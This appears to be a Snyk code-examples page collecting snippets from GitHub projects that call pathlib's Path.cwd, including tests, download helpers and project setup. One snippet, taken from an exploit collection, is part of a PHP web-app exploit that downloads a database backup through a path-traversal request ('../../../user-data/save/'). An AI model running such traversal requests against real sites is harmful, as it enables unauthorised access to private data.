How to use the pathlib.Path.cwd function in pathlib

To help you get started, we’ve selected a few pathlib examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github packit-service / packit / tests / functional / test_srpm.py View on Github external
def test_srpm_command_for_path(upstream_or_distgit_path, tmp_path):
    with cwd(tmp_path):
        call_real_packit(parameters=["--debug", "srpm", str(upstream_or_distgit_path)])
        srpm_path = list(Path.cwd().glob("*.src.rpm"))[0]
        assert srpm_path.exists()
        build_srpm(srpm_path)
github vecto-ai / vecto / tests / test_setup.py View on Github external
def run_program(*args, glob: bool = False):
    """Run subprocess with given args. Use path globbing for each arg that contains an asterisk."""
    if glob:
        cwd = pathlib.Path.cwd()
        args = tuple(itertools.chain.from_iterable(
            list(str(_.relative_to(cwd)) for _ in cwd.glob(arg)) if '*' in arg else [arg]
            for arg in args))
    process = subprocess.Popen(args)
    process.wait()
    if process.returncode != 0:
        raise AssertionError('execution of {} returned {}'.format(args, process.returncode))
    return process
github uranusjr / pythonup-windows / pythonup / operations / download.py View on Github external
def download(ctx, version, dest_dir, force):
    installer = download_installer(version)
    if dest_dir is None:
        dest_dir = pathlib.Path.cwd()
    target = pathlib.Path(dest_dir, installer.name)
    if target.exists() and not force:
        click.echo('Target exists: {}'.format(target), err=True)
        click.echo('NOTE: Use --force to overwrite destination.', err=True)
        ctx.exit(1)
    shutil.move(str(installer), str(target))
    click.echo('{} installer is downloaded successfully to {}'.format(
        version, target,
    ))
github bvanrijn / aiwy / ignore.py View on Github external
def save_ignores(self):
        backup_file_name = str(
            pathlib.Path.cwd()
            / "ignores"
            / f"ignores.{datetime.now().strftime('%Y-%m-%d--%H:%M:%S')}.json"
        )

        shutil.move(self._ignorefile, backup_file_name)

        with open(self._ignorefile, "w+") as ignores:
            ignores.write(json.dumps(self.ignores, indent=4))
github Gingernaut / microAuth / app / utils / emails.py View on Github external
import sendgrid
from sendgrid.helpers.mail import Email, Content, Mail
from config import get_config
from pathlib import Path

email_path = Path.cwd() / "email-templates"

appConfig = get_config()
sg = sendgrid.SendGridAPIClient(apikey=appConfig.SENDGRID_API_KEY)


def send_reset_email(user, reset):
    def build_reset_email():

        reset_email = open(f"{email_path}/password-reset.html", "r").read()
        reset_email = reset_email.replace("{{from_org}}", appConfig.FROM_ORG_NAME)
        reset_email = reset_email.replace(
            "{{ttl}}", str(appConfig.PASSWORD_RESET_LINK_TTL_HOURS)
        )
        reset_email = reset_email.replace(
            "{{action_url}}", f"{appConfig.FROM_WEBSITE_URL}/reset/{reset.UUID}"
        )
github bincyber / pitfall / pitfall / state.py View on Github external
def export_dotfile(self, filename: PathLike = None) -> None:
        """ exports the resources tree as a DOT file to the file specified by `filename`. Defaults to graph.dot in the local directory otherwise """
        if filename is None:
            filename = Path.cwd().joinpath('graph.dot')
        else:
            filename = Path(filename).expanduser().absolute()

        root = self.__find_root_node(self.items[0])
        DotExporter(root, nodenamefunc=self.__format_node_name).to_dotfile(filename)
github nicolas-carolo / hsploit / searcher / vulnerabilities / exploits / php / webapps / 46109.py View on Github external
elif choice == 2:

    backupfiles = requests.get("http://"+rhost+"/restore.php?file=",  cookies=cj)
    RecentesData = backupfiles.text
    finder = re.findall(r'a href=".*"', RecentesData)
    names = finder[0].replace('"','').replace('javascript:deletefile','').replace('a href=javascript:restore','').replace('save','').replace("'",'').replace('(','').replace(')','').replace(',','').strip()
    print ("+ [*] Backup File Name : " + names)

    DB = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../user-data/save/"+names+"",  cookies=cj)

    with open(names, "wb") as handle:
        for data in tqdm(DB.iter_content()):
            handle.write(data)

    p = str(Path.cwd())
    print(Fore.GREEN + "+ [*] Backup successfully downloaded. Directory path : " + p + "/" + names)
else:
    print("Invalid input!")
github BradenM / micropy-cli / micropy / project.py View on Github external
def __init__(self, project_name, stubs, **kwargs):
        self.path = Path.cwd() / project_name
        self.name = self.path.name
        self.stubs = stubs
        self.log = Log().add_logger(self.name, 'cyan')
        super().__init__()
github oceanprotocol / mantaray / ipython_scripts / 1_blocks / s00_publish_and_register.py View on Github external
import script_fixtures.user as user
logging.info("Squid API version: {}".format(squid_py.__version__))

#%%
# get_registered_ddo -> register_service_agreement_template -> get_conditions_data_from_keeper_contracts
# The data:
# contract_addresses
# fingerprints
# fulfillment_indices
# conditions_keys

# %% [markdown]
# ### Section 1: Instantiate a simulated User
#%%
# The contract addresses are loaded from file
PATH_CONFIG = pathlib.Path.cwd() / 'config_local.ini'
assert PATH_CONFIG.exists(), "{} does not exist".format(PATH_CONFIG)

ocn = Ocean(config_file=PATH_CONFIG)
print("HTTP Client:")
print(ocn._http_client)
print("Secret Store Client:")
print(ocn._secret_store_client)

# This utility function gets all simulated accounts
users = user.get_all_users(ocn.accounts)

# We don't need this ocn instance reference anymore
del ocn

# Let's take the first unlocked account, and name it the Publisher
publisher1 = [u for u in users if not u.locked][0]
github bincyber / pitfall / pitfall / state.py View on Github external
def dirpath(self) -> Path:
        return Path.cwd().joinpath('.pulumi')